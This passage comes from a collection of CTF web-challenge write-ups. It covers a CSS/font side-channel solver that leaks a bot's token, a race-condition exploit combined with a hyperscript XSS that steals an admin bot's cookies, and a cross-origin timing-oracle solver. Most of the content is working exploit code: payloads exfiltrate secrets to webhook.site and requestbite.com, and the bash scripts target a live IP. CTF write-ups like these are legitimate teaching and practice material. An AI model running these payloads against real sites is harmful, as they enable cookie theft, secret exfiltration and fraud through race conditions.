        url = path if path.startswith("http://") or path.startswith("https://") else self.base_url + path
        req = urllib.request.Request(url, data=data, headers=headers or {}, method=method)
        return self.opener.open(req, timeout=30)

    def post_form(self, path: str, fields: dict[str, str]):
        body = urllib.parse.urlencode(fields).encode()
        return self.request(
            "POST",
            path,
            body,
            {"Content-Type": "application/x-www-form-urlencoded"},
        )


def sh(cmd: list[str], **kwargs):
    subprocess.run(cmd, check=True, **kwargs)


def create_webhook_token() -> str:
    req = urllib.request.Request(
        "https://webhook.site/token",
        data=b"",
        headers={"Accept": "application/json"},
        method="POST",
    )
    with urllib.request.urlopen(req, timeout=30) as resp:
        return json.load(resp)["uuid"]


def fetch_webhook_requests(token: str) -> list[dict]:
    req = urllib.request.Request(
        f"https://webhook.site/token/{token}/requests?sorting=newest",
        headers={"Accept": "application/json"},
    )
    with urllib.request.urlopen(req, timeout=30) as resp:
        data = json.load(resp)
    return data.get("data", [])


def build_subset_base(base_font: Path, subset_font: Path, alphabet: str):
    text = "".join(sorted(set(FONT_SUBSET_TEXT + CONTEXT_PREFIX + alphabet)))
    sh(
        [
            "pyftsubset",
            str(base_font),
            f"--text={text}",
            f"--output-file={subset_font}",
            "--layout-features=",
            "--drop-tables+=GSUB,GPOS,GDEF",
            "--name-IDs=*",
            "--glyph-names",
            "--symbol-cmap",
            "--legacy-cmap",
            "--notdef-glyph",
            "--notdef-outline",
            "--recommended-glyphs",
        ],
        stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL,
    )


def build_woff2_font(make_font: Path, subset_font: Path, out_ttf: Path, out_woff2: Path, context: str, alphabet: str):
    sh(
        [
            sys.executable,
            str(make_font),
            "--base",
            str(subset_font),
            "--output",
            str(out_ttf),
            "--context",
            context,
            "--alphabet",
            alphabet,
            "--width-step",
            "1536",
        ],
        stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL,
    )
    font = TTFont(out_ttf)
    font.flavor = "woff2"
    font.save(out_woff2)
    return base64.b64encode(out_woff2.read_bytes()).decode()


def css_rules_for_alphabet(token: str, alphabet: str, bucket_px: int):
    rules = []
    half = bucket_px // 2
    for idx, ch in enumerate(alphabet, start=1):
        lo = (idx - 1) * bucket_px + half
        hi = idx * bucket_px + half - 1
        if idx == 1:
            lo = 1
        stage = urllib.parse.quote(ch, safe="")
        rules.append(
            f"@container (min-width:{lo}px) and (max-width:{hi}px)"
            f"{{.probe .hit{{background-image:url(https://webhook.site/{token}?stage=ch_{stage})}}}}"
        )
    return "\n".join(rules)


def build_payload(token: str, font_b64: str, alphabet: str):
    bucket_px = 48
    css = f"""
@font-face{{font-family:x;src:url(data:font/woff2;base64,{font_b64}) format('woff2')}}
.profile-content{{background-image:url(https://webhook.site/{token}?stage=control)}}
body{{position:relative!important}}
script:not([src]):has(+script[src*='purify']){{
  display:inline-block!important;
  white-space:pre!important;
  font:64px x!important;
  line-height:1!important;
  color:#000!important;
  anchor-name:--cfg;
}}
.probe{{
  position:absolute;
  left:0;
  top:0;
  position-anchor:--cfg;
  width:anchor-size(--cfg inline);
  height:8px;
  container-type:inline-size;
}}
.hit{{display:block;width:8px;height:8px}}
@container (max-width:1px){{.probe .hit{{background-image:url(https://webhook.site/{token}?stage=nomatch)}}}}
{css_rules_for_alphabet(token, alphabet, bucket_px)}
    """.strip()
    return (
        '<div class="probe"><div class="hit"></div></div>'
        f'<svg xmlns="http://www.w3.org/2000/svg"><style>{css}</style></svg>'
    )


def create_account(base_url: str, username: str, password: str, full_name: str) -> Session:
    sess = Session(base_url)
    with sess.post_form(
        "/auth",
        {
            "username": username,
            "password": password,
            "full_name": full_name,
            "action": "register",
        },
    ) as resp:
        if resp.status not in (200, 302):
            raise RuntimeError(f"registration failed: {resp.status}")
    with sess.post_form(
        "/auth",
        {
            "username": username,
            "password": password,
            "action": "login",
        },
    ) as resp:
        if resp.status not in (200, 302):
            raise RuntimeError(f"login failed: {resp.status}")
    return sess


def update_profile(sess: Session, username: str, payload: str):
    fields = {
        "full_name": f"Solver {username}",
        "headline": "New Member",
        "about": payload,
        "experience": "",
        "education": "",
    }
    with sess.post_form("/profile/edit", fields) as resp:
        if resp.status not in (200, 302):
            raise RuntimeError(f"profile edit failed: {resp.status}")


def submit_report(sess: Session, username: str):
    with sess.post_form("/report", {"username": username}) as resp:
        if resp.status not in (200, 302):
            raise RuntimeError(f"report failed: {resp.status}")


def poll_stage(token: str, timeout: int):
    end = time.time() + timeout
    seen = set()
    while time.time() < end:
        try:
            items = fetch_webhook_requests(token)
        except HTTPError as exc:
            if exc.code == 429:
                time.sleep(2)
                continue
            raise
        for item in items:
            stage = item.get("query", {}).get("stage")
            if isinstance(stage, list):
                stage = stage[0] if stage else ""
            if not stage or stage in seen:
                continue
            seen.add(stage)
            if stage == "control":
                continue
            return stage, items
        time.sleep(2)
    return "", fetch_webhook_requests(token)


def extract_char(
    base_url: str,
    make_font: Path,
    subset_font: Path,
    workdir: Path,
    prefix: str,
    alphabet: str,
    timeout: int,
):
    token = create_webhook_token()
    stamp = int(time.time() * 1000)
    username = f"solver{stamp}"
    password = f"pw{stamp}"
    full_name = f"Solver {stamp}"
    sess = create_account(base_url, username, password, full_name)

    ttf_path = workdir / f"ctx_{stamp}.ttf"
    woff2_path = workdir / f"ctx_{stamp}.woff2"
    font_b64 = build_woff2_font(make_font, subset_font, ttf_path, woff2_path, CONTEXT_PREFIX + prefix, alphabet)
    payload = build_payload(token, font_b64, alphabet)
    update_profile(sess, username, payload)
    submit_report(sess, username)

    stage, items = poll_stage(token, timeout)
    if stage.startswith("ch_"):
        ch = urllib.parse.unquote(stage[3:])
        return ch, username, token, stage, items
    return "", username, token, stage, items


def main():
    parser = argparse.ArgumentParser(description="Extract the report-bot premium token one character at a time.")
    parser.add_argument("--base-url", required=True)
    parser.add_argument("--alphabet", default=DEFAULT_ALPHABET)
    parser.add_argument("--known-prefix", default="")
    parser.add_argument("--timeout", type=int, default=25)
    parser.add_argument("--max-len", type=int, default=64)
    args = parser.parse_args()

    workdir = Path.cwd()
    make_font = workdir / "make_ctx_font.py"
    base_font = workdir / "widthctx.ttf"
    subset_font = workdir / "widthctx_subset_ascii.ttf"
    build_subset_base(base_font, subset_font, args.alphabet)

    token_prefix = args.known_prefix
    for _ in range(args.max_len):
        ch, username, hook, stage, items = extract_char(
            args.base_url,
            make_font,
            subset_font,
            workdir,
            token_prefix,
            args.alphabet,
            args.timeout,
        )
        print(json.dumps({"username": username, "webhook": hook, "stage": stage, "requests": len(items)}))
        if not ch:
            print(f"failed at prefix={token_prefix!r}", file=sys.stderr)
            sys.exit(1)
        if ch == '"':
            print(token_prefix)
            return
        token_prefix += ch
        print(token_prefix, flush=True)
    print("max length reached", file=sys.stderr)
    sys.exit(1)


if __name__ == "__main__":
    main()
```

### minegamble

#### Description

Welcome to MineGamble, the #1 Pay-to-Win Minecraft server! Ranks are expensive, the economy feels rigged, and their Terms and Conditions update faster than you can read them. Rumor has it that you can directly buy the Owner rank that has support directly from the admins, but that's crazy expensive...

#### Solution

The solve is two bugs chained together:

1. `POST /api/sell` is raceable, so the same inventory can be sold twice concurrently.
2. Ticket bodies are rendered as raw HTML, and the ticket page CSP allows scripts from `https://cdnjs.cloudflare.com`, so `hyperscript` can run in the admin bot when it reviews our ticket.

First, register a user, race the sell endpoint until the balance is over `$10000`, then buy `OWNER`.

```bash
#!/usr/bin/env bash
set -euo pipefail

BASE_URL="http://34.89.194.19:32524"
COOKIE_FILE="owner_cookie.txt"
USERNAME="mg$(date +%s)"
PASSWORD="pw123456"

curl -sS -c "$COOKIE_FILE" \
  -H 'Content-Type: application/json' \
  -d "{\"username\":\"$USERNAME\",\"password\":\"$PASSWORD\"}" \
  "$BASE_URL/api/register" >/dev/null

balance_floor() {
  curl -sS -b "$COOKIE_FILE" "$BASE_URL/api/me" \
    | python3 -c 'import sys,json; print(int(float(json.load(sys.stdin)["balance"])))'
}

buy_dirt() {
  local amount="$1"
  curl -sS -b "$COOKIE_FILE" \
    -H 'Content-Type: application/json' \
    -d "{\"itemId\":1,\"amount\":$amount}" \
    "$BASE_URL/api/shop/buy" >/dev/null
}

sell_twice() {
  local amount="$1"
  curl -sS -b "$COOKIE_FILE" \
    -H 'Content-Type: application/json' \
    -d "{\"itemId\":1,\"amount\":$amount}" \
    "$BASE_URL/api/sell" >/dev/null &
  local pid1=$!

  curl -sS -b "$COOKIE_FILE" \
    -H 'Content-Type: application/json' \
    -d "{\"itemId\":1,\"amount\":$amount}" \
    "$BASE_URL/api/sell" >/dev/null &
  local pid2=$!

  wait "$pid1" "$pid2"
}

for _ in $(seq 1 15); do
  bal="$(balance_floor)"
  [ "$bal" -ge 10000 ] && break
  buy_dirt "$bal"
  sell_twice "$bal"
done

curl -sS -b "$COOKIE_FILE" \
  -H 'Content-Type: application/json' \
  -d '{"rank":"OWNER"}' \
  "$BASE_URL/api/store/buy"
```

Then submit a support ticket whose body reads `document.cookie` in the admin bot, logs back into our owner account, and submits the cookie value as a new ticket. The important detail is that the admin session cookie is `HttpOnly`, but there is also a non-`HttpOnly` cookie named `flag`, so `document.cookie` directly exposes the flag.

```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/hyperscript/0.9.14/_hyperscript.min.js"></script>
<iframe name="sink" style="display:none"></iframe>

<form id="login" method="POST" action="/api/login" target="sink">
  <input type="hidden" name="username" value="OWNER_USERNAME">
  <input type="hidden" name="password" value="OWNER_PASSWORD">
</form>

<form id="post" method="POST" action="/api/ticket" target="sink">
  <input type="hidden" name="subject" value="cookie_loot">
  <textarea id="loot" name="body"></textarea>
</form>

<div _='on load
          if document.cookie is "" then
            put "EMPTY" into #loot
          else
            put document.cookie into #loot
          end
          wait 200ms
          call login.submit()
          wait 1200ms
          call post.submit()'></div>
```

Submit that HTML as the ticket body:

```bash
curl -sS -b owner_cookie.txt \
  -H 'Content-Type: application/json' \
  -d @- http://34.89.194.19:32524/api/ticket <<'EOF'
{"subject":"trigger_cookie","body":"<script src=\"https://cdnjs.cloudflare.com/ajax/libs/hyperscript/0.9.14/_hyperscript.min.js\"></script><iframe name=\"sink\" style=\"display:none\"></iframe><form id=\"login\" method=\"POST\" action=\"/api/login\" target=\"sink\"><input type=\"hidden\" name=\"username\" value=\"OWNER_USERNAME\"><input type=\"hidden\" name=\"password\" value=\"OWNER_PASSWORD\"></form><form id=\"post\" method=\"POST\" action=\"/api/ticket\" target=\"sink\"><input type=\"hidden\" name=\"subject\" value=\"cookie_loot\"><textarea id=\"loot\" name=\"body\"></textarea></form><div _='on load if document.cookie is \"\" then put \"EMPTY\" into #loot else put document.cookie into #loot end wait 200ms call login.submit() wait 1200ms call post.submit()'></div>"}
EOF
```

When the admin bot reviews the ticket, it creates a new ticket containing:

```
flag=CTF{232d8f9f99d0a3e440297b4aee4774c2d2e75868c6ec85d585f8410404e56cd1}
```

### svfgp

#### Description

Web challenge with two public endpoints:

* `https://svfgp.breakable.live/`
* `https://svfgp-bot.breakable.live/`

Bot behavior (from handout `bot.js`):

1. Visit challenge origin.
2. Store flag in `localStorage["svfgp.notes.v1"]` as a sealed note.
3. Visit attacker URL.
4. Sleep 60 seconds.

Challenge bug (from `static/app.js`):

* `mode=probe` loads sealed secret from localStorage.
* If `secret.startsWith(candidate)` it runs expensive PBKDF2 (`3_000_000` iterations).
* Then posts `{type:"svfgp-probe-done", sid, rid}` to `window.opener`.

This gives a cross-origin timing oracle: correct prefix => slower response.

#### Solution

I used an attacker page hosted via `httpbin` base64 endpoint, submitted to the bot. The page repeatedly probes `mode=probe&q=<prefix+char>` and times the delay until postMessage. Highest timing wins each character. I exfiltrated progress through `fetch(..., {mode:"no-cors"})` to RequestBite.

Important reliability points discovered live:

* Image beacons fail because bot runs Chrome with `--blink-settings=imagesEnabled=false`.
* Opening many popups at once caused timeouts.
* Reusing a single popup and re-navigating it for each probe worked reliably.

Recovered flag: `CTF{1390e7327d4c2069a97e3a7f1eafed37e389f9fb9598b183455dc9f6cc2da658}`

Solver code used:

```python
#!/usr/bin/env python3
import base64
import json
import random
import string
import time
import urllib.error
import urllib.parse
import urllib.request

BOT_SUBMIT = "https://svfgp-bot.breakable.live/api/submit"
SINK_VIEW = "bd059e7c-84ca-4c38-9a90-c56122ffe85c"
SINK_BASE = f"https://api.requestbite.com/req/{SINK_VIEW}"
SINK_LIST = f"https://api.requestbite.com/v1/inspector/views/{SINK_VIEW}/requests?per_page=200&page=1"
SINK_DETAIL = f"https://api.requestbite.com/v1/inspector/views/{SINK_VIEW}/requests"

ALPHABET = "abcdefghijklmnopqrstuvwxyz0123456789_}"
START_PREFIX = "CTF{"
MAX_CHARS_PER_RUN = 4
REQUEST_TIMEOUT = 20
RUN_TIMEOUT = 240


def http_json(url: str, data: bytes | None = None, headers: dict[str, str] | None = None):
    req = urllib.request.Request(url, data=data, headers=headers or {})
    try:
        with urllib.request.urlopen(req, timeout=REQUEST_TIMEOUT) as r:
            return json.loads(r.read().decode())
    except urllib.error.HTTPError as e:
        body = e.read().decode(errors="replace")
        try:
            parsed = json.loads(body)
        except json.JSONDecodeError:
            raise
        parsed["_status"] = e.code
        return parsed


def build_payload(prefix: str, run_id: str, max_chars: int = MAX_CHARS_PER_RUN) -> str:
    # Compact payload to stay below bot URL limits.
    js = (
        "<script>(async()=>{"
        "B='https://svfgp.breakable.live/?mode=probe';"
        f"S={json.dumps(SINK_BASE)};"
        f"A={json.dumps(ALPHABET)};"
        f"P={json.dumps(prefix)};"
        f"R={json.dumps(run_id)};"
        "W=window.open('about:blank','svfgp_probe');"
        "f=q=>new Promise(z=>{"
        "let sid=Math.random().toString(16).slice(2);"
        "let rid=Math.random().toString(16).slice(2);"
        "let u=B+'&q='+encodeURIComponent(q)+'&sid='+sid+'&rid='+rid;"
        "let t=performance.now();"
        "let d=0;"
        "h=e=>{let x=e.data||{};"
        "if(!d&&x.type=='svfgp-probe-done'&&x.sid==sid&&x.rid==rid){"
        "d=1;removeEventListener('message',h);"
        "z(performance.now()-t)}};"
        "addEventListener('message',h);"
        "setTimeout(()=>{if(!d){removeEventListener('message',h);"
        "z(2600)}},2700);"
        "try{W.location=u}catch(e){removeEventListener('message',h);z(2600)}"
        "});"
        "sl=t=>new Promise(r=>setTimeout(r,t));"
        f"for(i=0;i<{max_chars}&&!P.endsWith('}}');i++){{"
        "m=[];"
        "for(ch of A){m.push([ch,await f(P+ch)]);await sl(8)}"
        "m.sort((a,b)=>b[1]-a[1]);"
        "if(m[0][1]-m[1][1]<150)break;"
        "P+=m[0][0];"
        "fetch(S+'/rs'+R+'?p='+encodeURIComponent(P)+'&b='+m[0][1].toFixed(1)+'&s='+m[1][1].toFixed(1),{mode:'no-cors'}).catch(e=>{});"
        "}"
        "try{W&&W.close()}catch(e){};"
        "fetch(S+'/rd'+R+'?p='+encodeURIComponent(P),{mode:'no-cors'}).catch(e=>{});"
        "})();</script>"
    )
    html = "<!doctype html>" + js
    b64 = base64.b64encode(html.encode()).decode().translate(str.maketrans("+/", "-_"))
    return f"https://httpbin.org/base64/{b64}"


def submit_with_rate_limit(url: str) -> str:
    body = json.dumps({"url": url}).encode()
    headers = {"content-type": "application/json"}
    while True:
        data = http_json(BOT_SUBMIT, data=body, headers=headers)
        if "job" in data:
            return data["job"]["id"]
        if data.get("error", "").startswith("Rate limit"):
            sleep_for = int(data.get("retryAfterSeconds", 60)) + 1
            print(f"[submit] rate-limited, sleeping {sleep_for}s")
            time.sleep(sleep_for)
            continue
        raise RuntimeError(f"submit failed: {data}")


def wait_for_run(run_id: str) -> str:
    target_path = f"/rd{run_id}"
    deadline = time.time() + RUN_TIMEOUT
    while time.time() < deadline:
        listing = http_json(SINK_LIST)
        for req in listing.get("requests", []):
            if req.get("path") == target_path:
                req_id = req["id"]
                detail = http_json(f"{SINK_DETAIL}/{urllib.parse.quote(req_id)}")
                qs = json.loads(detail.get("queryString", "{}"))
                pvals = qs.get("p") or []
                if not pvals:
                    raise RuntimeError(f"done callback missing prefix: {detail}")
                return pvals[0]
        time.sleep(2)
    raise TimeoutError(f"timed out waiting for run {run_id}")


def run():
    prefix = START_PREFIX
    print(f"[start] prefix={prefix}")
    while not prefix.endswith("}"):
        run_id = "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8))
        url = build_payload(prefix, run_id)
        if len(url) > 1900:
            raise RuntimeError(f"payload URL too long ({len(url)}) at prefix {prefix!r}")

        print(f"[run {run_id}] submit (url len={len(url)}) prefix={prefix}")
        job_id = submit_with_rate_limit(url)
        print(f"[run {run_id}] job={job_id}, waiting for callback")

        new_prefix = wait_for_run(run_id)
        print(f"[run {run_id}] prefix -> {new_prefix}")

        if new_prefix == prefix:
            raise RuntimeError("no progress in run; aborting for manual inspection")
        prefix = new_prefix

    print(f"[flag] {prefix}")


if __name__ == "__main__":
    run()
```
